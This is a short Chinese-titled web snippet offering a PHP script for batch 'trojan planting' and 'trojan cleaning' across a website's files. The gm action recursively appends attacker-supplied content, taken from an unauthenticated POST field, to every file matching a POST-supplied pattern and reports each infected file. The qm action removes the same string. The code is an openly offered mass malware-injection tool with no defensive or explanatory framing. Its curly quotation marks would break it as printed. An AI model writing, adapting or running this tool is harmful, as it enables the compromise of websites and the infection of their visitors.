php下批量挂马和批量清马代码_PHP

<?php 
function gmfun($path=”.”) 
{ 
$d = @dir($path); 
while(false !== ($v = $d->read())) { 
if($v == “.” || $v == “..”) continue; 
$file = $d->path.”/”.$v; 
if(@is_dir($file)) { 
gmfun($file); 
} else { 
if(@ereg(stripslashes($_POST["key"]),$file)) { 
$mm=stripcslashes( trim( $_POST[mm] ) ); 
$handle = @fopen (”$file”, “a”); 
@fwrite($handle, “$mm”); 
@fclose($handle); 
echo “已挂马文件:$file\n
”; 
} 
} 
} 
$d->close(); 
echo ” “; 
} 
function qmfun($path=”.”) 
{ 
$d = @dir($path); 
while(false !== ($v = $d->read())) { 
if($v == “.” || $v == “..”) continue; 
$file = $d->path.”/”.$v; 
if(@is_dir($file)) { 
qmfun($file); 
} else { 
if(@ereg(stripslashes($_POST["key"]),$file)) { 
$mm=stripcslashes( trim( $_POST[mm] ) ); 
$handle = fopen (”$file”, “rb”); 
$oldcontent=fread($handle,filesize($file)); 
fclose($handle); 
$newcontent=str_replace($mm,””,$oldcontent); 
$fw = fopen (”$file”, “wb”); 
fwrite($fw,$newcontent,strlen($newcontent)); 
fclose($fw); 
echo “已清马文件:$file\n
”; 
} 
} 
} 
$d->close(); 
echo ” “; 
} 
if ($_GET['action']=='gm') { 
set_time_limit(0); 
gmfun($_POST["dir"]); 
} 
if ($_GET['action']=='qm') { 
set_time_limit(0); 
qmfun($_POST["dir"]); 
} 
?>